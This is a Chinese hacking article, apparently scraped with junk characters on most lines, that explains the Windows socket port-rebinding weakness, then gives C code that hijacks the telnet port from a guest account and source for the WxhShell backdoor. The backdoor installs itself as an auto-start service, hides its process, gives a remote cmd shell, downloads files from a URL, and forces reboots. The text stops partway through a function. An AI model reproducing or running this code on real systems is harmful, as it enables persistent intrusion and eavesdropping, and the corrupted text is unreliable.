在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
"xS?#^a s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
gAcXd<a0
2Z3c` /k saddr.sin_family = AF_INET;
_7?LINF9 CO25 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
XdKhT61 8G fD8A+aA bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
`mU'{ #!,tId 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
* A B J%ym1A9 这意味着什么?意味着可以进行如下的攻击:
uj@rv& ,z6&k 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
({/@=e x* %M+ID['K9/ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
YG<7Zv
}nrl2yp:% 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
wgm?lfX< mT8")J|2 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
:Gyv%>. $7q'Be@{ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
\IZfp=On K2J DG.< 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
A;~u"g 'z& /aa'ryl_% 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
tlo"tl_] =;(w Bj #include
pgg4<j_mn #include
_h#SP+> #include
5f&+(Wqw #include
8+5-7) DWORD WINAPI ClientThread(LPVOID lpParam);
we6']iaV int main()
b<UZDy N~ {
K*Tj; WORD wVersionRequested;
`>^2MHF3LT DWORD ret;
)L?JH?$C WSADATA wsaData;
T7E9l BOOL val;
'2+Rb7V SOCKADDR_IN saddr;
FuEgI8+b SOCKADDR_IN scaddr;
[ Fid int err;
o,a3J:j] SOCKET s;
9OYsI SOCKET sc;
tA?P$5?-* int caddsize;
+(d\`{A HANDLE mt;
<<>?`7N DWORD tid;
Q>y2C8rnJ/ wVersionRequested = MAKEWORD( 2, 2 );
9;3f`DK@2k err = WSAStartup( wVersionRequested, &wsaData );
[([?+Ouy if ( err != 0 ) {
y>zPsc, printf("error!WSAStartup failed!\n");
S?.2V@Ic return -1;
(dO, +~ }
bg$df 0 saddr.sin_family = AF_INET;
>SA?lG8f% E]PHO\f-m} //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
7T
\}nX1 CrHH Ob saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
a}l^+ saddr.sin_port = htons(23);
\] if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
1=C>S2q {
3| 5Af printf("error!socket failed!\n");
"y@B| return -1;
\&6 }
B6tp,Np5, val = TRUE;
e6{}hiM //SO_REUSEADDR选项就是可以实现端口重绑定的
oWGtKtDhH if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
J[fjl6p {
FilHpnQCt printf("error!setsockopt failed!\n");
W.h6g8|wx return -1;
CA[-\>J7y }
!( xeDX //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
P E1F3u>O //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
hz8Y2Ew //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
>/;V_(
@A(*&PU>j if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
56(S[ {
XBv:$F.>$ ret=GetLastError();
M/
@1;a@\ printf("error!bind failed!\n");
yP\KIm! return -1;
+,=DUsI} }
<_&H<]t%rI listen(s,2);
>
t *+FcD while(1)
kDuN3 {
:|J'HCth caddsize = sizeof(scaddr);
|eIEqq.Eb //接受连接请求
9W$FX sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
\`?l6'! if(sc!=INVALID_SOCKET)
a5o&6 _ {
0ts]
iQ7 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
]Bw2> 6W if(mt==NULL)
l;$HGoJ {
`9SRiy printf("Thread Creat Failed!\n");
QjMH1S break;
!%n3_tZC }
|<&9_Aq_ }
[>xwwm CloseHandle(mt);
2<Lnfc<^k }
3 A2X1V" closesocket(s);
G"&9u2 k WSACleanup();
X
$LX;Lv return 0;
4[t1"s~Wg }
COJny/FT| DWORD WINAPI ClientThread(LPVOID lpParam)
f]H[uzsV {
iTi]D2jC SOCKET ss = (SOCKET)lpParam;
`Y`Ujr\6 SOCKET sc;
n2\;`9zm unsigned char buf[4096];
_SM5x,Zd SOCKADDR_IN saddr;
[4'C4Zl long num;
6?nAO DWORD val;
uNe5Mv|} DWORD ret;
3B:U>F,]4 //如果是隐藏端口应用的话,可以在此处加一些判断
!P7&{I,e //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
cOa.]Kk saddr.sin_family = AF_INET;
Wi_5.= saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
B'\^[ saddr.sin_port = htons(23);
5I9~OJ> if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
]MJyBz+k {
HIP6L,$ printf("error!socket failed!\n");
KWIH5* AM return -1;
VA*~RS }
1ipfv-hb6 val = 100;
Hm@+(j(N96 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
k4iu`m@^H {
+u;f]p ret = GetLastError();
CHp`4 return -1;
YnC7e2 }
We3Z#}X if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
mB&nN+MV {
$@kGbf~k ret = GetLastError();
+9db1:
return -1;
FWqnlK# }
7g1"s1~or if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
G+?@4?`z {
&!uw;|% printf("error!socket connect failed!\n");
Htn'(Q closesocket(sc);
'6Dt@^-PZ closesocket(ss);
N|pjGgI
return -1;
S\2QZ[u
}
txM R[o_ while(1)
&RQQVki3 {
=~Oi:+L //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
"5*n(S{ks //如果是嗅探内容的话,可以再此处进行内容分析和记录
K8CjZpzq //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
`WvNN>R num = recv(ss,buf,4096,0);
|r*btyOJk if(num>0)
FT'_{e!M send(sc,buf,num,0);
6v7H?4 else if(num==0)
X^mvsY break;
cbvK;; num = recv(sc,buf,4096,0);
WJvD,VMz if(num>0)
jT/SZ|S send(ss,buf,num,0);
tpw0j
CVu else if(num==0)
vUD,%@k9 break;
#;GIvfW }
/rp.H'hC closesocket(ss);
Gxk=]5<7 closesocket(sc);
.U|e#t return 0 ;
V
{R<R2h1 }
g
_fvbVX xo#&&/6 D6&fDhO27 ==========================================================
.ruGS.nS4 /5M@>A^?' 下边附上一个代码,,WXhSHELL
\q#s/&b z-(@j;. ==========================================================
GFd~..$ -AwR$<q' #include "stdafx.h"
@@$=MSN Rt!G:hy7 #include <stdio.h>
-N`j` zb| #include <string.h>
/VB n #include <windows.h>
yU"lW{H@ #include <winsock2.h>
weCRhA #include <winsvc.h>
3\FPW1$i|[ #include <urlmon.h>
*yp}#\rk Pe@M_ r #pragma comment (lib, "Ws2_32.lib")
Qd"{2> #pragma comment (lib, "urlmon.lib")
41 sClC" ~J1;Z0}# #define MAX_USER 100 // 最大客户端连接数
|0:&dw?*! #define BUF_SOCK 200 // sock buffer
Ep-{Ew{T_= #define KEY_BUFF 255 // 输入 buffer
v w$VRPW .&d]7@!qy #define REBOOT 0 // 重启
|@pJ] #define SHUTDOWN 1 // 关机
Gs$<r~Tg mlCw(i, #define DEF_PORT 5000 // 监听端口
5P_%Vp`B2 cF{5[?wS #define REG_LEN 16 // 注册表键长度
zRtaO'G( #define SVC_LEN 80 // NT服务名长度
t6p}LNm(V pQr `$:ga // 从dll定义API
xi=Z<G typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
JzH\_,, typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
0KqG J:Ru typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
'/+l\.z"& typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
4~-"k{Xt b}'XDw // wxhshell配置信息
Qj(q)!Ku struct WSCFG {
.um]1_= \ int ws_port; // 监听端口
dA-ik char ws_passstr[REG_LEN]; // 口令
< V) T_ int ws_autoins; // 安装标记, 1=yes 0=no
R?3^Kx char ws_regname[REG_LEN]; // 注册表键名
S N_!o2F2 char ws_svcname[REG_LEN]; // 服务名
^S!^$d* char ws_svcdisp[SVC_LEN]; // 服务显示名
sl^i%xJ|l' char ws_svcdesc[SVC_LEN]; // 服务描述信息
~5$V8yfx h char ws_passmsg[SVC_LEN]; // 密码输入提示信息
g2%&/zq/ int ws_downexe; // 下载执行标记, 1=yes 0=no
.Q
FGIAM char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
VyK]:n<5Q char ws_filenam[SVC_LEN]; // 下载后保存的文件名
5sui*WH 7m0sF<P{g };
YGrmco?G +
5 E6| // default Wxhshell configuration
%.,-dV' struct WSCFG wscfg={DEF_PORT,
J^[>F{8!n "xuhuanlingzhe",
QUd`({/@: 1,
]5IG00` "Wxhshell",
tU7,nE>p "Wxhshell",
A2 r1%}{ "WxhShell Service",
)@)wcf!b "Wrsky Windows CmdShell Service",
FNlzpCT~L "Please Input Your Password: ",
6LZ(bP'd; 1,
]CyWL6z "
http://www.wrsky.com/wxhshell.exe",
^sIxR*C[v "Wxhshell.exe"
{M:Fsay>p };
cl4`FU 5]cmDk // 消息定义模块
[?uiM^& char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
,Zs:e. char *msg_ws_prompt="\n\r? for help\n\r#>";
GKdQ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
OI;0dS char *msg_ws_ext="\n\rExit.";
yQb^]|XG char *msg_ws_end="\n\rQuit.";
v3
4!rL char *msg_ws_boot="\n\rReboot...";
7eb^^a? char *msg_ws_poff="\n\rShutdown...";
%g7 !4 char *msg_ws_down="\n\rSave to ";
9`4mvK/@ H@0i}!U64 char *msg_ws_err="\n\rErr!";
2\&uO char *msg_ws_ok="\n\rOK!";
K(RG:e~R0i mmP>Ji char ExeFile[MAX_PATH];
FC<aX[~&3 int nUser = 0;
qPsf`nI7 HANDLE handles[MAX_USER];
YCod\} 3 int OsIsNt;
>0kn&pe7#T y7aBF13Kl SERVICE_STATUS serviceStatus;
PY=(|2tb4 SERVICE_STATUS_HANDLE hServiceStatusHandle;
P!yE{_% dr3#?% // 函数声明
to~Ap=E int Install(void);
B3[;}8u> int Uninstall(void);
fR<_ 4L int DownloadFile(char *sURL, SOCKET wsh);
4:<74B int Boot(int flag);
3]DUUXg$ void HideProc(void);
R}lS@ w1 int GetOsVer(void);
AcV 2l int Wxhshell(SOCKET wsl);
b:Oa4vBa void TalkWithClient(void *cs);
@,0W( int CmdShell(SOCKET sock);
CDcZ6.f int StartFromService(void);
F9(*MP| int StartWxhshell(LPSTR lpCmdLine);
Lqy]bnY 2lNZwV7 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
$%9.qy\8 VOID WINAPI NTServiceHandler( DWORD fdwControl );
@]ydWd ``?]13XjK // 数据结构和表定义
ximW!y7 SERVICE_TABLE_ENTRY DispatchTable[] =
0NlC|5ma) {
Z{"/Ae5] {wscfg.ws_svcname, NTServiceMain},
xu9K\/{7 {NULL, NULL}
nxH+XHv };
|uT|(:i84, ? pq#|PI) // 自我安装
/c3A> int Install(void)
k?-GI[@X {
%5<uQc9 char svExeFile[MAX_PATH];
Z_vIGH|1 HKEY key;
le1 strcpy(svExeFile,ExeFile);
LbX>@2(& e7X#C) // 如果是win9x系统,修改注册表设为自启动
hUy"XXpr if(!OsIsNt) {
feg if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
1#LXy%^tO RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
;"/[gFD5u RegCloseKey(key);
akg$vHhK4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
aH7i$U& RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
7Gg3$E+#* RegCloseKey(key);
t5
:4'%| return 0;
'
lt5| }
rqJ'm?>cr }
:&*Y
Io }
8nCw1 else {
Q+L;k
R M\4pTcz{ // 如果是NT以上系统,安装为系统服务
39
D!e& SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
9t)A_}O if (schSCManager!=0)
d.wu {
!h\.w9o[ SC_HANDLE schService = CreateService
@~t^zI1 (
8:* schSCManager,
) -yJKmV wscfg.ws_svcname,
Ht >5R wscfg.ws_svcdisp,
C(N' +VV_ SERVICE_ALL_ACCESS,
er<yB#/;- SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
k@[\C`P SERVICE_AUTO_START,
m/
D ~D~ SERVICE_ERROR_NORMAL,
wm1`<r^M. svExeFile,
1!N|a< # NULL,
0PfjD NULL,
HW|5'opF NULL,
4oxAC; L NULL,
Ka\ha NULL
{owXyQ2mK );
c?ZM<Y" if (schService!=0)
B{}<DP. {
NUSb7<s,&Y CloseServiceHandle(schService);
FM{^ND9x CloseServiceHandle(schSCManager);
<Zb~tYp strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
qr$h51C& strcat(svExeFile,wscfg.ws_svcname);
IKaa=r~ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
TH[xSg RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
E; `@S RegCloseKey(key);
6&8uLM(z return 0;
CG[2 }
asEk3 }
azK7kM~ CloseServiceHandle(schSCManager);
oz.#+t%X$b }
?/@U#Qy }
r`dQ<U, d76nyQKK return 1;
]Rk4"i }
1 eP` /Z~}dWI // 自我卸载
?hC,49 int Uninstall(void)
?Yf0h_> {
?)-#\z=6G HKEY key;
0<3->uK rp&XzMwC4 if(!OsIsNt) {
{sOW DM5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
SH1S_EQ< RegDeleteValue(key,wscfg.ws_regname);
>TQNrS^$J RegCloseKey(key);
?zk#}Ex1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
V|3^H^\5P RegDeleteValue(key,wscfg.ws_regname);
f>CJ1;][{ RegCloseKey(key);
.ZtW
y) U return 0;
@sdHB./ }
4 (c{%% }
4'~zuUs }
1IPRI<1U else {
UdOO+Z_K% H`bS::JI- SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
x
DiGN Jc if (schSCManager!=0)
*|4/XHi {
C~-.zQ$ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
6 h%,% if (schService!=0)
/lS5B6NU {
=91wC if(DeleteService(schService)!=0) {
>bFrJz} CloseServiceHandle(schService);
<kCOg8<y
: CloseServiceHandle(schSCManager);
/(u# D[ return 0;
]3Y J a }
q o6~)Aws CloseServiceHandle(schService);
#&}j'oD|N }
JfsvK2I CloseServiceHandle(schSCManager);
3y%,f|ju }
Kw7uUJR }
#LR.1zZ ^WkqRs return 1;
(M 2hK[ }
g#q7~#9 -V&nlP // 从指定url下载文件
d{Cg3v` Rd int DownloadFile(char *sURL, SOCKET wsh)
Ih HKRb[ {
Lz&FywF-l HRESULT hr;
vW-o%u* char seps[]= "/";
=o:1Rc7J char *token;
%i) 0sET char *file;
`>- 56 % char myURL[MAX_PATH];
&`IJ55Z-) char myFILE[MAX_PATH];
t"Bp#
U1 TbD
$lx3> strcpy(myURL,sURL);
t)5.m} token=strtok(myURL,seps);
PJO.^OsM while(token!=NULL)
kni{1Gr {
t*J?#r file=token;
P(.XB` token=strtok(NULL,seps);
u2S8DuJ }
%ol\ sO| ,e^~(ITaq GetCurrentDirectory(MAX_PATH,myFILE);
i#aKW' strcat(myFILE, "\\");
}9 ]7V < strcat(myFILE, file);
cw,|,uXq
6 send(wsh,myFILE,strlen(myFILE),0);
Rk-G|52g send(wsh,"...",3,0);
h$XoR0 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
6!HYx if(hr==S_OK)
Z*b$&nM return 0;
*'*,mfk[ else
^u2x26]. return 1;
HV'M31m~q V|TD+7.`QB }
v
8EI $DaQM'- // 系统电源模块
!ALq?u int Boot(int flag)
OnH3Ss$ {
bXeJk]#y HANDLE hToken;
)5`~WzA TOKEN_PRIVILEGES tkp;
K^h9\<w VN0KK
1I if(OsIsNt) {
vw$b]MO! OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
HRyhq;C LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
v$xurj:v#i tkp.PrivilegeCount = 1;
6XHM `S tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
3ZN\F AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Fn0|v66 if(flag==REBOOT) {
#]Lodo9rS\ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
\=P(?!v return 0;
G^cMY$?99 }
WFzM s else {
%QQ 2u$ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
#?`S+YN!q) return 0;
0176 }
LqO=wK~ }
UCup {pDp else {
+*Fe if(flag==REBOOT) {
;>/yY]F7 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
(.i wD& return 0;
S&.xgBR }
5wdKu,nq else {
7SN61)[m if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
:P
]D`b6p return 0;
cL!A,+S[_ }
>$yA
,N }
=c$x xEDD IlwHHt;njp return 1;
k
]T }
6tjV^sjs hrO9_B|# // win9x进程隐藏模块
2#00<t\ void HideProc(void)
,`OQAJ)> {
wW8[t8%43 sP}u zS HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
I}f7|hYX if ( hKernel != NULL )
8^D1u` {
I-1NZgv pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
^16zZ* ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
h@'CmIZc FreeLibrary(hKernel);
z;?j+ZsdH }
,%BDBZ FzP1b_i return;
ADVS}d!;] }
i~AReJxt7 .)Pul|)d // 获取操作系统版本
&r*F+gL int GetOsVer(void)
@|sBnerE {
h{H*k#> OSVERSIONINFO winfo;
fLd2{jI, winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Rjlp< GetVersionEx(&winfo);
?E(X>tH if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
7-Oa34ba+ return 1;
WRA L/ else
$o;c:Kh$$ return 0;
s$(%?,yf2 }
_d!o,=} _h1eW9q // 客户端句柄模块
]NI
CQ9 int Wxhshell(SOCKET wsl)
%W2U$I5 {
Q$ Dx: SOCKET wsh;
lKQevoy' struct sockaddr_in client;
$~/cxLcT DWORD myID;
1E'PSq cDzb}W*UM while(nUser<MAX_USER)
6Z' K1 {
I"x~ 7
int nSize=sizeof(client);
XGbpH< wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
a
j$& 9][ if(wsh==INVALID_SOCKET) return 1;
^OX}y~' <1Sj_HCT handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
wfEL
.h if(handles[nUser]==0)
*)`PY4zF closesocket(wsh);
MP<]-M'|< else
' (XB|5 nUser++;
Iz
j-,a }
surNJ,) WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
($/l_F u0,QsD)_X0 return 0;
mvc ;.+ }
>;Vfs{Z(q <y~Ba@1u // 关闭 socket
C& XPn;f void CloseIt(SOCKET wsh)
&Xh> w(u {
}Y BuS3{ closesocket(wsh);
jb,a>9]p nUser--;
vM!2?8bEFd ExitThread(0);
n}e%c B }
}$L1A
U#K4)(C // 客户端请求句柄
c}|.U void TalkWithClient(void *cs)
&z5?]`ALu {
m ie~.
" tc)Md]S SOCKET wsh=(SOCKET)cs;
(VI(Nv:o@ char pwd[SVC_LEN];
U<=d@knH char cmd[KEY_BUFF];
p-)@#hE char chr[1];
rw3tU0j int i,j;
3)LS#= =q)+_@24>d while (nUser < MAX_USER) {
77sG;8HE ;S$ if(wscfg.ws_passstr) {
\v\ONp" if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
=uNc\a ( //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
9a`~ K L //ZeroMemory(pwd,KEY_BUFF);
-!qjBK,`X i=0;
@lWNSf while(i<SVC_LEN) {
E<u(Yw6= 9+@z:j // 设置超时
`AvK8Wh<+ fd_set FdRead;
lxgfi@@+h struct timeval TimeOut;
!jU{ }RCR FD_ZERO(&FdRead);
2Q]W FD_SET(wsh,&FdRead);
QGV#AID3XW TimeOut.tv_sec=8;
fQU_:[
Uz TimeOut.tv_usec=0;
zDtC]y' int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
I+.U.e^gx if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
r#1W$~?> pM+9K:^B if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
yih|6sd$F pwd
=chr[0]; /F"eqMN
if(chr[0]==0xd || chr[0]==0xa) { :=+YZ|&j
pwd=0; e&:%Rr]x
break; oMLs22Do?
} M=ag\1S&ZF
i++; cpw=2vnD
} XRQ1Uh6
%g5#q64
// 如果是非法用户,关闭 socket -zJV(`
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); bo<.pK$
} 8tv4_Lbx
)p;t
'*]
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); a JjUy%
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W)D?8*
ia;osqW
while(1) { )F&.0 '
4ME$Z>eN
ZeroMemory(cmd,KEY_BUFF); 1'(";
0I
LY)Wwl*wc
// 自动支持客户端 telnet标准 =L1%gQJJ&
j=0; M;3q.0MU
while(j<KEY_BUFF) { K
re*~ "
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qLxcr/fK
cmd[j]=chr[0]; !ii(2U
if(chr[0]==0xa || chr[0]==0xd) { <vV"abk
cmd[j]=0; %uV,p!| )
break; ''q;yKpaz
} %`$:/3P$U
j++; xW9R-J\W
} /g9^g(
gp 11/.
// 下载文件 :(/1,]bF
if(strstr(cmd,"http://")) { aQY.96yo
send(wsh,msg_ws_down,strlen(msg_ws_down),0); RL]$"
if(DownloadFile(cmd,wsh)) JgP%4)]LV
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;g+fY6
else 5eFtcK
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dQ_'8
)
} *KiY+_8>
else { <6hs<qXqi
QqW N7y_9
switch(cmd[0]) { ,aP5)ZN-
}uaFmXy3
// 帮助 "d~<{(:N^
case '?': { +Lc+"0*gV*
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &"T7KXx
break; sRcS-Yw[S
} vZS/?pU~~
// 安装 +"WNG
case 'i': { P92pQ_W
if(Install()) =F/ R*5:T
send(wsh,msg_ws_err,strlen(msg_ws_err),0); pBBKfv
else q%f90
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1g,gilc
break; Y Kp@n8A
} qQo*:3/];
// 卸载 (k"0/*F4_
case 'r': { 'h~IbP
if(Uninstall()) <j#IR
send(wsh,msg_ws_err,strlen(msg_ws_err),0); yEJ3O^(F
else 9<P%?Q
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tx+P@9M_Aq
break; &pz`gna
} Q($@{[lT
// 显示 wxhshell 所在路径 D( TfW
case 'p': { 5OOXCtIKf
char svExeFile[MAX_PATH]; |)O;+e\
strcpy(svExeFile,"\n\r"); )M[FPJP}
strcat(svExeFile,ExeFile); ix?Z:pIS0
send(wsh,svExeFile,strlen(svExeFile),0); #%OS=.V
break; Jzy:^PObT
} ab)ckRC
// 重启 *(i%\
case 'b': { X
)
=-a
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -(%Xq{
if(Boot(REBOOT)) ]:?hU^H]<
send(wsh,msg_ws_err,strlen(msg_ws_err),0); _wW"Tn]
else { 33hP/p%
closesocket(wsh); ,L>{(Q)
ExitThread(0); +>a(9r|:
} 56NDU>j$
break; l}g_<
} Q4N0j' QA
// 关机 ?&U~X)Q
case 'd': { >%t5j?p
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); z! k
if(Boot(SHUTDOWN)) pg<cvok
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =3;!
5P
else { C'sA0O@O
closesocket(wsh); 4}YHg&@\d%
ExitThread(0); ;1TQr3w
} D42!#
break; jzZEP4
} nnd-d+$
// 获取shell "88<{x L
case 's': { &&96kg3
CmdShell(wsh); Fj<a;oV
closesocket(wsh); 3%N!omAe
ExitThread(0); >-`-D=!V
break; zj1_#=]
} OF!n}.O(
// 退出 W[73q>'
case 'x': { }.<]A
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); lOIf4
CloseIt(wsh); dda*gq/p
break; x$bCbg
} h~&5;
// 离开 ;|Rrtf9
case 'q': { xw1n;IO4
send(wsh,msg_ws_end,strlen(msg_ws_end),0); :C#(yp
closesocket(wsh); *{e,< DV
WSACleanup(); wF['oUwHH
exit(1); 3 k)P*ME#
break; `u;4Z2Lr0
} }/%^;@q ;
} ~_4$|WKl
} =G1
5eZW
\ 3l3,VYH
// 提示信息 R%r<AL5kJk
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j"P}Wn
} io4/M<6<
} Q\Nz^~dQ:Y
|%Ssb;M
return; }& e#b]&:*
} SBG.t:
Z<[f81hE&
// shell模块句柄 !}&f2!?.W
int CmdShell(SOCKET sock) 9$N~OZ;-*x
{ :*E#w"$,j
STARTUPINFO si; sfEy
ZeroMemory(&si,sizeof(si)); 0tah$;c
e
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )Hlc\Mgy
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; fGDjX!3-S
PROCESS_INFORMATION ProcessInfo; L ]Dl}z
char cmdline[]="cmd"; uI_h__
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~HyqHxy
return 0; /m+\oZ
]d
} )R9QJSe
8j&LU,
// 自身启动模式 3h>56{P
int StartFromService(void) "_36WX
{ 8>~\R=SC
typedef struct gye'_AR?k
{ G'
a{;3
DWORD ExitStatus; Z3Y(g
DWORD PebBaseAddress; FaE,rzn)iD
DWORD AffinityMask; q.g0Oz@z
DWORD BasePriority; *Z=:?4u
ULONG UniqueProcessId; y6 _,U/9
ULONG InheritedFromUniqueProcessId; ~OQ/ |ws
